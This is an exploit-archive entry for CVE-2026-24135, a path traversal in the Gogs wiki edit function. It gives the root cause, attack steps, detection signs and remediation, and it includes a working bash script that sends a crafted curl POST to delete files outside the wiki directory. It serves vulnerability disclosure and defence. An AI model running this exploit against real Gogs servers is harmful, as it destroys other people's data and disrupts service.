PoC Archive PoC Archive
High CVE-2026-24135 (GHSA-jp7c-wj6q-3qf2) patched

Gogs Wiki Arbitrary File Deletion via Path Traversal (CVE-2026-24135)

by reschjonas · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-24135 (GHSA-jp7c-wj6q-3qf2)
Category
web
Affected product
Gogs self-hosted Git service
Affected versions
<= 0.13.3 (fixed in 0.13.4, 0.14.0+dev)
Disclosed
2026-07-05
Patch status
patched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherreschjonas
CVE / AdvisoryCVE-2026-24135 (GHSA-jp7c-wj6q-3qf2)
Categoryweb
SeverityHigh
CVSS Score7.5
StatusPoC
Tagsgogs, path-traversal, arbitrary-file-deletion, wiki, git-service, authenticated, go
RelatedN/A

Affected Target

FieldValue
Software / SystemGogs self-hosted Git service
Versions Affected<= 0.13.3 (fixed in 0.13.4, 0.14.0+dev)
Language / PlatformGo (Gogs backend); PoC uses plain curl
Authentication RequiredYes (wiki write access to a repository)
Network Access RequiredYes

Summary

Gogs, a self-hosted Git service written in Go, contains a path traversal flaw in the updateWikiPage function used when editing wiki pages. The function sanitizes the new page title before writing the updated file but never sanitizes the previous (“old”) title before passing it to os.Remove(). An authenticated user with wiki write access can therefore submit a crafted old_title value containing ../ sequences in the wiki edit form to delete arbitrary .md files anywhere the Gogs process has write permission to. The PoC demonstrates the bug with a single crafted curl POST request against the wiki edit endpoint.

Vulnerability Details

Root Cause

Asymmetric input sanitization in internal/database/wiki.go: the new wiki title is normalized via ToWikiPageName() before being joined into a filesystem path, but the oldTitle value flows unsanitized from user-controlled form input directly into path.Join(localPath, oldTitle+".md") followed by os.Remove().

Attack Vector

  1. Authenticate to Gogs as a user with wiki write access to any repository.
  2. Navigate to edit an existing wiki page (or intercept the edit POST request).
  3. Set the old_title form field to a path traversal sequence, e.g. ../../../../../../../tmp/target_file.
  4. Submit the POST request to /{owner}/{repo}/wiki/{page}?action=_edit.
  5. The server resolves the traversal path and deletes target_file.md outside the intended wiki storage directory.

Impact

Arbitrary deletion of any .md-suffixed file writable by the Gogs process, enabling denial of service, destruction of other users’ wiki content/repository data, and potential escalation when chained with other flaws.

Environment / Lab Setup

Target:   Gogs <= 0.13.3 instance with wiki enabled, attacker holding wiki-write credentials
Attacker: curl (or any HTTP client capable of authenticated POST requests)

Proof of Concept

PoC Script

See poc.sh in this folder.

1

./poc.sh https://gogs.example.com owner/repo "i_like_gogs=<session_cookie>" "../../../../../../../tmp/target_file"

The script sends an authenticated POST request to the wiki edit endpoint with the old_title parameter set to a traversal path, causing the server to delete target_file.md outside the wiki’s storage directory.

Detection & Indicators of Compromise

POST /owner/repo/wiki/TestPage?action=_edit  old_title=../../../../tmp/...

Signs of compromise:

  • Unexplained disappearance of .md files outside the wiki storage path
  • Wiki edit requests containing ../ sequences in the old_title form parameter
  • Application errors referencing missing configuration or data files with .md extension

Remediation

ActionDetail
Primary fixUpgrade to Gogs 0.13.4 / 0.14.0+dev, which applies ToWikiPageName() sanitization to oldTitle before use (gogs/gogs#8099)
Interim mitigationRestrict wiki write access to trusted users; run the Gogs process with a restricted filesystem write scope; monitor wiki edit requests for path traversal sequences

References

Notes

Mirrored from https://github.com/reschjonas/CVE-2026-24135 on 2026-07-05.

poc.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#!/usr/bin/env bash
#
# CVE-2026-24135 - Gogs <= 0.13.3 arbitrary file deletion via wiki path traversal
#
# The `updateWikiPage` function in internal/database/wiki.go sanitizes the
# NEW wiki page title (via ToWikiPageName()) before using it in path.Join(),
# but does NOT sanitize the OLD title before it is used in:
#
#     os.Remove(path.Join(localPath, oldTitle+".md"))
#
# An authenticated user with wiki write access on any repository can abuse
# this by submitting a crafted `old_title` value containing directory
# traversal sequences, causing the server to delete an arbitrary `.md` file
# that the Gogs process has write permission to.
#
# Usage:
#   ./poc.sh <gogs_base_url> <owner/repo> <session_cookie> <path_to_delete>
#
# Example:
#   ./poc.sh https://gogs.example.com user/repo "i_like_gogs=<cookie>" \
#            "../../../../../../../tmp/target_file"

set -euo pipefail

BASE_URL="${1:?usage: $0 <gogs_base_url> <owner/repo> <session_cookie> <traversal_path>}"
REPO="${2:?owner/repo required}"
COOKIE="${3:?session cookie required}"
OLD_TITLE="${4:?traversal path (without .md extension) required}"

curl -X POST "${BASE_URL}/${REPO}/wiki/TestPage?action=_edit" \
  -H "Cookie: ${COOKIE}" \
  -d "old_title=${OLD_TITLE}" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

echo "[*] Request sent. If vulnerable, ${OLD_TITLE}.md has been deleted from the server."